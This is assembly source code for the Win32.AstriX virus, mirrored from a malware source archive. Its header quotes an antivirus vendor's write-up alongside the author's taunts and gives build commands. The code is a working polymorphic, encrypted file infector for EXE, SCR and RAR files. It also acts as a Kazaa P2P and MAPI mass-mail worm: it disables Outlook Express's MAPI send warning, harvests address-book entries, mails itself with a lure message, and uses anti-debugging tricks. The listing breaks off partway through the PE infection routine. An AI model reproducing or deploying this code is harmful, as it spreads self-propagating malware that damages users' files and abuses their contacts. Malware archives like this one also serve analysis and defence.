mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
2102 lines
50 KiB
NASM
2102 lines
50 KiB
NASM
comment ~
|
|
|
|
[Information]
|
|
|
|
Virus Name:Win32.AstriX
|
|
Virus Author:DR-EF
|
|
Virus Size:8k
|
|
Target:PE file:exe\scr & rar archives
|
|
Features:
|
|
o Encrypted
|
|
o Polymorphic
|
|
o AntiDebugging
|
|
o P2P Worm
|
|
o MAIL Worm(using mapi)
|
|
Payload:MessageBox & Change windows titles
|
|
every year at 29/12
|
|
|
|
[Description]
|
|
|
|
Here is a virus description from Computer Associates:
|
|
(http://www3.ca.com/threatinfo/virusinfo/virus.aspx?id=38333)
|
|
|
|
my comments are between the [* *]
|
|
|
|
|
|
|
|
Win32.Astrool.12730 [* fuck off avers ,its Win32.Astrix !!! *]
|
|
Alias: W32/Dref@MM (McAfee),
|
|
Win32/Astrool.12730
|
|
Category: Win32
|
|
Type: Virus, Worm
|
|
|
|
|
|
|
|
CHARACTERISTICS:
|
|
---------------
|
|
Win32.Astrool.12730 is a polymorphic, encrypted file infecting virus,
|
|
as well as a worm that can spread via e-mail using the Simple MAPI
|
|
protocol.[* wow,i didnt know that there is Simple mapi protocol ? *]
|
|
It also targets files being shared by Kazaa, enabling it
|
|
to spread via peer-to-peer file sharing.
|
|
|
|
Method of Installation:
|
|
-----------------------
|
|
Astrool.12730 does not install itself on the system directly.
|
|
As a traditional virus, it implants itself by infecting files on the system.
|
|
|
|
Method of Distribution:
|
|
-----------------------
|
|
|
|
Via File Infection:
|
|
|
|
When run, Astrool.12730 searches for and infects Windows PE executable
|
|
files in the current directory,[* and in two upper directorys ! *]
|
|
and in Kazaa shared directories. It finds these shared directories
|
|
by reading this registry value:
|
|
|
|
HKEY_CURRENT_USER\Software\Kazaa\LocalContent\dir0
|
|
|
|
This enables it to spread through executable files shared through Kazaa.
|
|
The virus infects files with the extensions .exe and .scr. It also attempts
|
|
to add itself to RAR archives (*.rar), if it finds any.
|
|
|
|
The virus is polymorphic, meaning every instance of the virus appears different.
|
|
|
|
Via E-mail:
|
|
|
|
Astrool.12730 sends itself via e-mail only at particular times and dates
|
|
- the minutes must be 50 or higher, the secconds 30 or lower, and the day
|
|
of the month must be the 15th or earlier. If the time matches, it then checks
|
|
for an active Internet connection by attempting to connect to http://www.cnn.com/.
|
|
|
|
If the connection is successful, it begins its e-mail routine. First,
|
|
it sets the following registry value:
|
|
|
|
HKEY_CURRENT_USER\Identities\(Default User ID)\Software\Microsoft
|
|
\Outlook Express\5.0\Mail\Warn on Mapi Send = 0x0
|
|
|
|
Where (Default User ID) is read from the value:
|
|
|
|
HKEY_CURRENT_USER\Identities\Default User ID
|
|
|
|
This will stop Outlook Express from warning the user when another program
|
|
attempts to send mail through it using MAPI.
|
|
|
|
Next, it finds the default Windows Address Book (WAB) file from the following
|
|
registry value:
|
|
|
|
HKEY_CURRENT_USER\Software\Microsoft\WAB\WAB4\Wab File Name
|
|
|
|
It then uses Simple MAPI commands to send itself to all addresses it finds
|
|
in the WAB file. The messages appear as follows:
|
|
|
|
Subject:
|
|
i have cooool stuff for you !
|
|
|
|
Body:
|
|
hi
|
|
take a look at whate i find in the net !
|
|
its very cool program,check it out :-)
|
|
and tell me if you like it,ok
|
|
bye
|
|
|
|
The attachment will be the file that sent the message. The file name and size
|
|
therefore vary depending on the infected host file.
|
|
|
|
Note: In lab tests, the virus only successfully sent e-mails on systems using
|
|
Outlook Express version 6.
|
|
|
|
Payload:
|
|
-------
|
|
If the date is 29 December, the virus displays the following message box:
|
|
|
|
Win32.Astrix Virus Coded By DR-EF All Right Reserved
|
|
|
|
It also replaces text labels in many open windows with this message:
|
|
|
|
Win32.Astrix Virus Coded By DR-EF All Right Reserved
|
|
|
|
Analysis by Hamish O'Dea
|
|
|
|
|
|
[How To Compile]
|
|
|
|
tasm32 /m3 /ml /zi Astrix.asm , , ;
|
|
tlink32 /tpe /aa /v astrix , astrix , ,import32.lib
|
|
pewrsec Astrix.exe
|
|
|
|
~
|
|
.386
|
|
.model flat
|
|
|
|
extrn MessageBoxA:proc ;apis for the first generation
|
|
extrn ExitProcess:proc
|
|
|
|
virus_size equ End_Astrix - Astrix
|
|
loader_size equ end_virus_decryptor-virus_decryptor
|
|
.data
|
|
|
|
db ?
|
|
.code
|
|
|
|
Astrix:
|
|
mov esp,[esp + 8h]
|
|
pop dword ptr fs:[0]
|
|
add esp,4h
|
|
call decrypt_virus
|
|
start_ecrypt: mov esp,[esp + 8h]
|
|
pop dword ptr fs:[0] ;remove SEH
|
|
add esp,4h
|
|
call get_delta
|
|
get_delta: pop ebp
|
|
sub ebp,offset get_delta
|
|
first_g: call find_kernel ;first generation start here
|
|
jnc execute_host
|
|
call get_proc_addr
|
|
mov ecx,number_of_apis
|
|
lea eax,[ebp + api_strings]
|
|
lea ebx,[ebp + api_addresses]
|
|
mov edx,[ebp + kernel_base]
|
|
call get_apis
|
|
jnc execute_host
|
|
call create_key
|
|
mov word ptr [ebp + xor_ax_key+2],ax
|
|
call create_key
|
|
mov byte ptr [ebp + xor_al_key+1],al
|
|
mov byte ptr [ebp + mov_cl_key+1],ah
|
|
pushad
|
|
xor ebx,ebx
|
|
lea eax,[ebp + crash_debugger]
|
|
push eax
|
|
push dword ptr fs:[ebx] ;set SEH
|
|
mov fs:[ebx],esp
|
|
mov dword ptr [ebx],eax ;bye bye
|
|
crash_virus: mov ecx,(End_Astrix-crash_debugger)
|
|
crash: inc eax
|
|
mov word ptr [eax],0f0bh ;UD2 - undefined instruction
|
|
loop crash
|
|
mov ecx,(overwrite_all-Astrix)
|
|
lea eax,[ebp + Astrix]
|
|
overwrite_all: inc eax
|
|
mov word ptr [eax],0f0bh ;UD2 - undefined instruction
|
|
loop overwrite_all
|
|
crash_debugger: mov esp,[esp + 8h]
|
|
pop dword ptr fs:[0] ;remove SEH
|
|
add esp,4h
|
|
popad
|
|
lea eax,[ebp + IsDebuggerPresent_api]
|
|
push eax
|
|
push [ebp + kernel_base]
|
|
call [ebp + _GetProcAddress]
|
|
cmp eax,0h
|
|
je check_debugger2
|
|
call eax
|
|
xchg eax,ecx
|
|
lea eax,[ebp + crash_debugger]
|
|
dec ecx
|
|
jcxz crash_virus
|
|
check_debugger2:mov ecx,fs:[20h]
|
|
jcxz no_debugger1
|
|
lea eax,[ebp + crash_debugger]
|
|
jmp crash_virus
|
|
no_debugger1: call infect_current_and_upper_directory
|
|
call infect_kazaa_shared_files
|
|
call send_virus_via_mail
|
|
call payload
|
|
execute_host: popad
|
|
db 64h,0A1h,0,0,0,0 ;mov eax,fs:[00000000]
|
|
ret
|
|
IsDebuggerPresent_api db "IsDebuggerPresent",0h
|
|
payload:
|
|
lea eax,[ebp + SYSTEMTIME]
|
|
push eax
|
|
call [ebp + _GetLocalTime]
|
|
;check trigger:
|
|
cmp [ebp + wMonth],0ch
|
|
jne exit_payload
|
|
cmp [ebp + wDay],1dh
|
|
jne exit_payload
|
|
lea eax,[ebp + user32_dll]
|
|
push eax
|
|
call [ebp + _LoadLibrary]
|
|
cmp eax,0h
|
|
je exit_payload
|
|
push eax ;save module handle
|
|
xchg ebx,eax
|
|
lea eax,[ebp + SetWindowTextA]
|
|
push eax
|
|
push ebx
|
|
call [ebp + _GetProcAddress]
|
|
cmp eax,0h
|
|
je exit_payload
|
|
mov [ebp + SetWindowText],eax
|
|
mov ecx,0ffffh
|
|
pay_load: push ecx
|
|
lea eax,[ebp + copyright]
|
|
push eax
|
|
push ecx
|
|
call [ebp + SetWindowText]
|
|
pop ecx
|
|
loop pay_load
|
|
lea eax,[ebp + MessageBoxA2]
|
|
pop ebx
|
|
push eax
|
|
push ebx
|
|
call [ebp + _GetProcAddress]
|
|
cmp eax,0h
|
|
je exit_payload
|
|
lea ebx,[ebp + copyright]
|
|
push MB_ICONINFORMATION or MB_SYSTEMMODAL
|
|
push ebx
|
|
push ebx
|
|
push 0
|
|
call eax
|
|
exit_payload: ret
|
|
user32_dll db "User32.dll",0
|
|
SetWindowTextA db "SetWindowTextA",0
|
|
MessageBoxA2 db "MessageBoxA",0
|
|
SetWindowText dd 0
|
|
MB_SYSTEMMODAL equ 00001000h
|
|
MB_ICONINFORMATION equ 00000040h
|
|
SYSTEMTIME:
|
|
wYear dw 0
|
|
wMonth dw 0
|
|
wDayOfWeek dw 0
|
|
wDay dw 0
|
|
wHour dw 0
|
|
wMinute dw 0
|
|
wSecond dw 0
|
|
wMilliseconds dw 0
|
|
|
|
create_key:
|
|
call [ebp + _GetTickCount]
|
|
mov [ebp + rndnm],eax
|
|
rnd_num: mov cx,ax ;this code is useless,but i didnt
|
|
ror eax,cl ;remove it when i relese it,because
|
|
mov cl,al ;i didnt had time to change my code.
|
|
dec ecx
|
|
mul cx
|
|
shr eax,1h
|
|
add eax,2h
|
|
ret
|
|
random_number:
|
|
mov eax,[ebp + rndnm]
|
|
call rnd_num
|
|
xchg eax,ecx
|
|
call [ebp + _GetTickCount]
|
|
add eax,ecx
|
|
mov [ebp + rndnm],eax
|
|
ret
|
|
rndnm dd 0h
|
|
|
|
infect_kazaa_shared_files:
|
|
;set SEH:
|
|
pushad
|
|
lea eax,[ebp + kazaa_error_handle]
|
|
push eax
|
|
xor eax,eax
|
|
push dword ptr fs:[eax]
|
|
mov fs:[0],esp
|
|
lea eax,[ebp + advapi32_dll]
|
|
push eax
|
|
call [ebp + _LoadLibrary]
|
|
cmp eax,0h
|
|
je mail_err
|
|
mov edx,eax
|
|
mov ecx,4h
|
|
lea eax,[ebp + reg_funcs]
|
|
lea ebx,[ebp + reg_funcs_add]
|
|
call get_apis
|
|
jnc kazaa_error
|
|
lea eax,[ebp + hkey]
|
|
push eax
|
|
push KEY_QUERY_VALUE
|
|
push 0h
|
|
lea eax,[ebp + dirs_location]
|
|
push eax
|
|
push HKEY_CURRENT_USER
|
|
call [ebp + _RegOpenKeyEx]
|
|
cmp eax,0h
|
|
jne kazaa_error
|
|
next_kazaa_dir: mov [ebp + val_s],000000ffh
|
|
mov [ebp + val],0h
|
|
mov [ebp + val_type],0h
|
|
lea eax,[ebp + val_s]
|
|
push eax
|
|
lea eax,[ebp + val]
|
|
push eax
|
|
lea eax,[ebp + val_type]
|
|
push eax
|
|
push 0h
|
|
lea eax,[ebp + dir_n]
|
|
push eax
|
|
push [ebp + hkey]
|
|
call [ebp + _RegQueryValueEx]
|
|
cmp eax,0h
|
|
jne kazaa_close_key
|
|
lea eax,[ebp + val]
|
|
add eax,7h
|
|
call infect_directory
|
|
lea eax,[ebp + dir_n]
|
|
add eax,3h
|
|
inc byte ptr [eax]
|
|
cmp byte ptr [eax],3ah
|
|
jne next_kazaa_dir
|
|
kazaa_close_key:
|
|
push [ebp + hkey]
|
|
call [ebp + _RegCloseKey]
|
|
kazaa_error:
|
|
;remove SEH
|
|
pop dword ptr fs:[0]
|
|
add esp,4h
|
|
popad
|
|
ret
|
|
kazaa_error_handle:
|
|
mov esp,[esp + 8h]
|
|
pop dword ptr fs:[0]
|
|
add esp,4h
|
|
popad
|
|
ret
|
|
dirs_location db "Software\Kazaa\LocalContent",0
|
|
dir_n db "dir",30h,0h
|
|
val_s dd 0ffh
|
|
val db 0ffh dup(0)
|
|
val_type dd 0h
|
|
|
|
send_virus_via_mail:
|
|
;check some conditions before sending mails:
|
|
lea eax,[ebp + SYSTEMTIME]
|
|
push eax
|
|
call [ebp + _GetLocalTime]
|
|
cmp [ebp + wMinute],32h
|
|
jb mail_err
|
|
cmp [ebp + wDay],0fh
|
|
ja mail_err
|
|
cmp [ebp + wSecond],1eh
|
|
ja mail_err
|
|
lea eax,[ebp + advapi32_dll]
|
|
push eax
|
|
call [ebp + _LoadLibrary]
|
|
cmp eax,0h
|
|
je mail_err
|
|
mov edx,eax
|
|
mov ecx,4h
|
|
lea eax,[ebp + reg_funcs]
|
|
lea ebx,[ebp + reg_funcs_add]
|
|
call get_apis
|
|
jnc mail_err
|
|
;check if there is active internet connection:
|
|
lea eax,[ebp + wininet_dll]
|
|
push eax
|
|
call [ebp + _LoadLibrary]
|
|
cmp eax,0h
|
|
je mail_err
|
|
xchg eax,ebx
|
|
lea eax,[ebp + InternetCheckConnection]
|
|
push eax
|
|
push ebx
|
|
call [ebp + _GetProcAddress]
|
|
cmp eax,0h
|
|
je mail_err
|
|
xchg eax,ecx
|
|
push 0h
|
|
push FLAG_ICC_FORCE_CONNECTION
|
|
lea eax,[ebp + site_to_check]
|
|
push eax
|
|
call ecx
|
|
cmp eax,0h
|
|
je mail_err
|
|
mov eax,fs:[20h] ;do something nice.
|
|
cmp eax,0h
|
|
je no_debugger2
|
|
lea eax,[ebp + crash_debugger]
|
|
jmp crash_virus
|
|
;disable outlook express virus protection:
|
|
no_debugger2: lea eax,[ebp + hkey]
|
|
push eax
|
|
push 0h
|
|
push KEY_QUERY_VALUE
|
|
lea eax,[ebp + key_name]
|
|
push eax
|
|
push HKEY_CURRENT_USER
|
|
call [ebp + _RegOpenKeyEx]
|
|
cmp eax,0h
|
|
jne search_mails
|
|
lea eax,[ebp + id_size]
|
|
push eax
|
|
lea eax,[ebp + user_id]
|
|
push eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
lea eax,[ebp + id]
|
|
push eax
|
|
push [ebp + hkey]
|
|
call [ebp + _RegQueryValueEx]
|
|
cmp eax,0h
|
|
jne close_p_keys
|
|
lea eax,[ebp + hkey2]
|
|
push eax
|
|
push KEY_WRITE
|
|
push 0h
|
|
lea eax,[ebp + user_id]
|
|
push eax
|
|
push [ebp + hkey]
|
|
call [ebp + _RegOpenKeyEx]
|
|
cmp eax,0h
|
|
jne close_p_keys
|
|
push [ebp + hkey]
|
|
call [ebp + _RegCloseKey]
|
|
lea eax,[ebp + hkey]
|
|
push eax
|
|
push KEY_WRITE
|
|
push 0h
|
|
lea eax,[ebp + mapi_k]
|
|
push eax
|
|
push [ebp + hkey2]
|
|
call [ebp + _RegOpenKeyEx]
|
|
cmp eax,0h
|
|
jne close_p_keys
|
|
push 4h ;dd
|
|
lea eax,[ebp + protection_off]
|
|
push eax
|
|
push REG_DWORD
|
|
push 0h
|
|
lea eax,[ebp + mapi_virus_p]
|
|
push eax
|
|
push [ebp + hkey]
|
|
call [ebp + _RegSetValueExA]
|
|
close_p_keys: push [ebp + hkey]
|
|
call [ebp + _RegCloseKey]
|
|
push [ebp + hkey2]
|
|
call [ebp + _RegCloseKey]
|
|
;search emails:
|
|
search_mails:
|
|
lea eax,[ebp + hkey]
|
|
push eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
lea eax,[ebp + wab_location]
|
|
push eax
|
|
push HKEY_CURRENT_USER
|
|
call [ebp + _RegOpenKeyEx]
|
|
cmp eax,0h
|
|
jne mail_err
|
|
lea eax,[ebp + sizeof_wab_path]
|
|
push eax
|
|
lea eax,[ebp + wab_path]
|
|
push eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push [ebp + hkey]
|
|
call [ebp + _RegQueryValueEx]
|
|
cmp eax,0h
|
|
jne mail_err
|
|
push [ebp + hkey]
|
|
call [ebp + _RegCloseKey]
|
|
cmp eax,0h
|
|
jne mail_err
|
|
lea ebx,[ebp + wab_path]
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
|
push eax
|
|
push ebx
|
|
Call [ebp + _FindFirstFile]
|
|
cmp eax,0h
|
|
je mail_err
|
|
lea ebx,[ebp + wab_path]
|
|
call open_file
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je mail_err
|
|
mov [ebp + opened_file_handle],eax
|
|
mov eax,[ebp + nFileSizeLow]
|
|
call create_map
|
|
cmp eax,0h
|
|
je mail_err
|
|
mov [ebp + map_handle],eax
|
|
mov eax,[ebp + nFileSizeLow]
|
|
call map_view
|
|
cmp eax,0h
|
|
je mail_err
|
|
mov [ebp + map_base],eax
|
|
;check how much memory we need to allocate for emails:
|
|
mov ax,word ptr [eax + 64h]
|
|
cmp ax,1h
|
|
je unmapwab
|
|
mov cx,44h ;every mail allocate 68 bytes
|
|
mul cx
|
|
;ax-how much memory to allocate
|
|
xor ebx,ebx
|
|
mov bx,ax
|
|
push ebx
|
|
push GPTR
|
|
call [ebp + _GlobalAlloc]
|
|
cmp eax,0h
|
|
je unmapwab
|
|
mov [ebp + allocated_memory_handle],eax
|
|
;start to read all emails from wab file:
|
|
xchg eax,ebx
|
|
xor ecx,ecx
|
|
mov eax,[ebp + map_base]
|
|
mov cx,word ptr [eax + 64h]
|
|
add eax,[eax + 60h]
|
|
mov [ebp + number_of_mails],cx
|
|
;eax - addresses in wab
|
|
;ebx - allocated memory
|
|
;cx - number of addreses
|
|
next_mail:
|
|
push ecx
|
|
mov ecx,44h
|
|
copy_mail: cmp byte ptr [eax],0h
|
|
je move_to_next_mail
|
|
mov dl,byte ptr [eax]
|
|
mov byte ptr [ebx],dl
|
|
inc ebx
|
|
add eax,2h
|
|
dec ecx
|
|
loop copy_mail
|
|
move_to_next_mail:
|
|
add eax,ecx
|
|
inc ebx
|
|
mov byte ptr [ebx],0h
|
|
pop ecx
|
|
loop next_mail
|
|
unmapwab:
|
|
push [ebp + map_base]
|
|
call [ebp + _UnmapViewOfFile]
|
|
push [ebp + map_handle]
|
|
call [ebp + _CloseHandle]
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _CloseHandle]
|
|
;--------------LogIn:
|
|
lea eax,[ebp + mapi_dll]
|
|
push eax
|
|
call [ebp + _LoadLibrary]
|
|
cmp eax,0h
|
|
je mail_err
|
|
mov edx,eax
|
|
mov ecx,3h
|
|
lea eax,[ebp + mapi_funcs]
|
|
lea ebx,[ebp + mapi_func_add]
|
|
call get_apis
|
|
jnc free_mails_mem
|
|
lea eax,[ebp + mapi_session_handle]
|
|
push eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push MAPI_NEW_SESSION
|
|
push eax
|
|
push eax
|
|
call [ebp + _MAPILogon]
|
|
cmp eax,0h
|
|
jne mail_err
|
|
;-----------Get The Infected FileName:
|
|
push 0ffh
|
|
lea eax,[ebp + infected_file]
|
|
push eax
|
|
push 0h
|
|
call [ebp + _GetModuleFileName]
|
|
cmp eax,0h
|
|
je log_off
|
|
;----------SendMail:
|
|
xor ecx,ecx
|
|
mov cx,[ebp + number_of_mails]
|
|
inc cx
|
|
mov ebx,[ebp + allocated_memory_handle]
|
|
send_next_mail:
|
|
dec ecx
|
|
push ecx
|
|
lea eax,[ebp + subject]
|
|
mov [ebp + lpszSubject],eax
|
|
lea eax,[ebp + message]
|
|
mov [ebp + lpszNoteText],eax
|
|
lea eax,[ebp + MapiRecipDesc2]
|
|
mov [ebp + lpOriginator],eax
|
|
lea eax,[ebp + MapiRecipDesc]
|
|
mov [ebp + lpRecips],eax
|
|
lea eax,[ebp + MapiFileDesc]
|
|
mov [ebp + lpFiles],eax
|
|
;set the recipient:
|
|
mov [ebp + lpszName],ebx ; address from the allocated memory
|
|
mov [ebp + lpszAddress],ebx
|
|
;set the attachment structure:
|
|
lea eax,[ebp + infected_file]
|
|
mov [ebp + lpszPathName],eax
|
|
;send the mail:
|
|
push 0h
|
|
push MAPI_NEW_SESSION
|
|
lea eax,[ebp + offset MapiMessage]
|
|
push eax
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
call [ebp + _MAPISendMail]
|
|
pop ecx
|
|
cmp eax,0h
|
|
jne log_off
|
|
next_address:
|
|
inc ebx
|
|
cmp byte ptr [ebx],0h
|
|
jne next_address
|
|
inc ebx
|
|
cmp cx,0h
|
|
jne send_next_mail
|
|
;----------LogOff
|
|
log_off:
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push [ebp + mapi_session_handle]
|
|
call [ebp + _MAPILogoff]
|
|
;----------FreeMemory:
|
|
free_mails_mem: push [ebp + allocated_memory_handle]
|
|
call [ebp + _GlobalFree]
|
|
mail_err:
|
|
ret
|
|
InternetCheckConnection db "InternetCheckConnectionA",0
|
|
wininet_dll db "Wininet.dll",0
|
|
site_to_check db "http://www.cnn.com/",0
|
|
FLAG_ICC_FORCE_CONNECTION equ 00000001h
|
|
;outlook express protection:
|
|
hkey2 dd 0h
|
|
key_name db "Identities",0h
|
|
id db "Default User ID",0h
|
|
user_id db 64h dup(0h)
|
|
id_size dd 64h
|
|
id_type dd 0h
|
|
mapi_virus_p db "Warn on Mapi Send",0
|
|
mapi_k db "Software\Microsoft\Outlook Express\5.0\Mail",0
|
|
protection_off dd 0h
|
|
;mapi data:
|
|
MAPI_NEW_SESSION equ 00000002h
|
|
mapi_dll db "mapi32.dll",0
|
|
mapi_funcs: MAPILogon db "MAPILogon",0
|
|
MAPILogoff db "MAPILogoff",0
|
|
MAPISendMail db "MAPISendMail",0
|
|
mapi_func_add: _MAPILogon dd 0
|
|
_MAPILogoff dd 0
|
|
_MAPISendMail dd 0
|
|
mapi_session_handle dd 0
|
|
wab_location db "Software\Microsoft\WAB\WAB4\Wab File Name",0
|
|
wab_path db 0ffh dup(0)
|
|
sizeof_wab_path dd 0ffh
|
|
number_of_mails dw 0
|
|
subject db "i have cooool stuff for you !",0
|
|
message db "hi",0dh,0ah,"take a look at whate i find in the net !",0dh,0ah,"its very cool program,check it out :-)",0dh,0ah,"and tell me if you like it,ok",0dh,0ah,"bye",0
|
|
;MapiMessage Structure:
|
|
MapiMessage:
|
|
ulReserved dd 0
|
|
lpszSubject dd 0
|
|
lpszNoteText dd 0
|
|
lpszMessageType dd 0
|
|
lpszDateReceived dd 0
|
|
lpszConversationID dd 0
|
|
flFlags1 dd 0
|
|
lpOriginator dd 0
|
|
nRecipCount dd 1h
|
|
lpRecips dd 0
|
|
nFileCount dd 1h
|
|
lpFiles dd 0
|
|
;MapiFileDesc Structure:
|
|
MapiFileDesc:
|
|
ulReserved2 dd 0
|
|
flFlags2 dd 0
|
|
nPosition dd 0
|
|
lpszPathName dd 0 ;infected file
|
|
lpszFileName dd 0
|
|
lpFileType dd 0
|
|
;MapiRecipDesc Structure:
|
|
MapiRecipDesc:
|
|
ulReserved3 dd 0
|
|
ulRecipClass dd 1
|
|
lpszName dd 0
|
|
lpszAddress dd 0
|
|
ulEIDSize dd 0
|
|
lpEntryID dd 0
|
|
MapiRecipDesc2:
|
|
ulReserved4 dd 0
|
|
ulRecipClass2 dd 0
|
|
lpszName2 dd 0
|
|
lpszAddress2 dd 0
|
|
ulEIDSize2 dd 0
|
|
lpEntryID2 dd 0
|
|
|
|
infect_current_and_upper_directory:
|
|
mov eax,fs:[20h]
|
|
cmp eax,0h
|
|
je no_debugger
|
|
xor esp,esp ;fuck up debugger !
|
|
no_debugger: mov [ebp + infection_counter],0h
|
|
mov [ebp + directory_level],0h
|
|
lea eax,[ebp + cur_dir]
|
|
push eax
|
|
push max_path
|
|
call [ebp + _GetCurrentDirectory]
|
|
cmp eax,max_path
|
|
ja buffer_not_good
|
|
lea eax,[ebp + Current_Directory]
|
|
push eax
|
|
push max_path
|
|
call [ebp + _GetCurrentDirectory]
|
|
cmp eax,max_path
|
|
ja buffer_not_good
|
|
mov [ebp + directory_name_size],eax
|
|
lea eax,[ebp + Current_Directory]
|
|
call infect_directory
|
|
up_dir: lea ebx,[ebp + Current_Directory]
|
|
mov eax,[ebp + directory_name_size]
|
|
add ebx,eax
|
|
inc ebx
|
|
up_search: cmp byte ptr [ebx],'\'
|
|
je end_search
|
|
mov byte ptr [ebx],0h
|
|
dec ebx
|
|
jmp up_search
|
|
end_search:
|
|
mov byte ptr [ebx],0h
|
|
dec ebx
|
|
cmp byte ptr [ebx],':' ;we are in the root ?
|
|
je restore_cur_dir
|
|
lea eax,[ebp + Current_Directory]
|
|
call infect_directory
|
|
cmp [ebp + directory_level],2h ;infect 2 uppers directorys
|
|
jbe up_dir
|
|
restore_cur_dir:
|
|
lea eax,[ebp + cur_dir]
|
|
push eax
|
|
call [ebp + _SetCurrentDirectory]
|
|
buffer_not_good:
|
|
ret
|
|
directory_level db 0h
|
|
cur_dir db max_path dup(0)
|
|
infect_directory:
|
|
;eax - pointer to directory name
|
|
push eax
|
|
call [ebp + _SetCurrentDirectory]
|
|
cmp eax,0h
|
|
je search_error
|
|
lea eax,[ebp + WIN32_FIND_DATA]
|
|
push eax
|
|
lea eax,[ebp + search_mask]
|
|
push eax
|
|
call [ebp + _FindFirstFile]
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je search_error
|
|
mov [ebp + file_handle],eax
|
|
next_file:
|
|
cmp [ebp + infection_counter],6h
|
|
jae search_error
|
|
lea eax,[ebp + cFileName]
|
|
@@1: cmp byte ptr [eax],0h
|
|
je check_ex
|
|
cmp byte ptr [eax],'v' ;dont infect files with 'v' in they name
|
|
je _unknow
|
|
inc eax
|
|
jmp @@1
|
|
check_ex:
|
|
sub eax,4h
|
|
cmp dword ptr [eax],"exe."
|
|
je pe_file
|
|
cmp dword ptr [eax],"EXE."
|
|
je pe_file
|
|
cmp dword ptr [eax],"RCS."
|
|
je pe_file
|
|
cmp dword ptr [eax],"rcs."
|
|
je pe_file
|
|
cmp dword ptr [eax],"rar."
|
|
je rar_file
|
|
cmp dword ptr [eax],"RAR."
|
|
je rar_file
|
|
jmp _unknow
|
|
rar_file: call infect_rar
|
|
jmp _unknow
|
|
pe_file: call infect_pe
|
|
_unknow: lea eax,[ebp + WIN32_FIND_DATA]
|
|
push eax
|
|
push [ebp + file_handle]
|
|
call [ebp + _FindNextFile]
|
|
cmp eax,0
|
|
jne next_file
|
|
search_error:
|
|
inc [ebp + directory_level]
|
|
ret
|
|
infect_pe:
|
|
mov eax,[ebp + nFileSizeLow]
|
|
call pad_size
|
|
cmp edx,0h
|
|
je error_1
|
|
mov ebx,[ebp + dwFileAttributes]
|
|
mov [ebp + file_old_attributes],ebx
|
|
lea ebx,[ebp + cFileName]
|
|
push FILE_ATTRIBUTE_NORMAL
|
|
push ebx
|
|
call [ebp + _SetFileAttributes]
|
|
cmp eax,0h
|
|
je error_1
|
|
;do not infect files that are smaller than 10kb
|
|
cmp [ebp + nFileSizeLow],2800h
|
|
jb error
|
|
;do not infect files that are bigger than 3mb
|
|
cmp [ebp + nFileSizeLow],300000h
|
|
ja error
|
|
call open_file
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je error
|
|
mov [ebp + opened_file_handle],eax
|
|
lea eax,[ebp + last_write_time]
|
|
push eax
|
|
lea eax,[ebp + last_access_time]
|
|
push eax
|
|
lea eax,[ebp + creation_time]
|
|
push eax
|
|
push [ebp + opened_file_handle]
|
|
call [ebp + _GetFileTime]
|
|
mov eax,[ebp + nFileSizeLow]
|
|
add eax,virus_size ;eax=host size + virus size
|
|
call pad_size
|
|
push eax
|
|
call create_map
|
|
cmp eax,0h
|
|
je error_close_file
|
|
mov [ebp + map_handle],eax
|
|
pop eax
|
|
call map_view
|
|
cmp eax,0h
|
|
je error_close_map
|
|
mov [ebp + map_base],eax
|
|
;set SEH:
|
|
pushad
|
|
lea ebx,[ebp + _infection_error_handle]
|
|
push ebx
|
|
xor ebx,ebx
|
|
push dword ptr fs:[ebx]
|
|
mov fs:[ebx],esp
|
|
cmp word ptr [eax],"ZM" ;check MZ sign
|
|
jne cant_infect
|
|
add eax,[eax + 3ch]
|
|
cmp word ptr [eax],"EP" ;check PE sign
|
|
jne cant_infect
|
|
mov bx,word ptr [eax + 06h]
|
|
mov [ebp + number_of_sections],bx ;save number of sections
|
|
mov ebx,[eax + 74h]
|
|
mov [ebp + number_directories_entries],ebx
|
|
mov ebx,eax
|
|
add ebx,18h ;ebx = pe optional header
|
|
mov ecx,[ebx + 24h] ;ecx=file alignment
|
|
mov [ebp + file_alignment],ecx
|
|
;infect only files that have file alignment of 200h or 1000h
|
|
cmp ecx,200h
|
|
jne check_1000h
|
|
jmp file_alignment_ok
|
|
check_1000h:
|
|
cmp ecx,1000h
|
|
jne cant_infect
|
|
file_alignment_ok:
|
|
mov ecx,[ebx + 1ch] ;ecx=image_base
|
|
mov [ebp + host_image_base],ecx
|
|
;ok we got all information that we need from the pe optional header
|
|
;lets find the code section:
|
|
push eax
|
|
push ebx
|
|
mov ecx,[ebp + number_directories_entries]
|
|
shl ecx,3h ; 2^3=8(directory size)
|
|
mov ebx,eax ;ebx point to pe header
|
|
add ebx,78h ;ebx=pe header + optional pe header
|
|
add ebx,ecx ;ebx=first section header
|
|
xor ecx,ecx
|
|
mov cx,word ptr [eax + 6h] ; cx=number of sections
|
|
next_section: cmp dword ptr [ebx],"xet." ; .text ?
|
|
je found_code_section
|
|
cmp dword ptr [ebx],"doc." ; .code ?
|
|
je found_code_section
|
|
cmp dword ptr [ebx],"EDOC" ; CODE ?
|
|
je found_code_section
|
|
add ebx,28h
|
|
loop next_section
|
|
jmp canot_infect_file
|
|
found_code_section:
|
|
;check if section has code attributes:
|
|
mov eax,[ebx + 24h]
|
|
and al,20h
|
|
cmp al,0h
|
|
je canot_infect_file
|
|
;lets check if we have room to put virus loader
|
|
mov eax,dword ptr [ebx + 8h]
|
|
mov ecx,dword ptr [ebx + 10h]
|
|
cmp ecx,64h ;minimum size of code section
|
|
jb canot_infect_file
|
|
sub ecx,eax
|
|
cmp ecx,(loader_size*2)
|
|
jb canot_infect_file
|
|
;save size of free space:
|
|
sub ecx,loader_size
|
|
shr ecx,1h
|
|
mov [ebp + free_space],ecx
|
|
;ebx = code section
|
|
;let's save the address where the loader will be writen
|
|
mov eax,[ebp + map_base] ;start of the file !
|
|
mov ecx,[ebx + 14h] ;pointer to section raw data
|
|
add ecx,eax
|
|
add ecx,[ebx + 8h ] ;virtual size
|
|
mov [ebp + where_to_write_decryptor],ecx
|
|
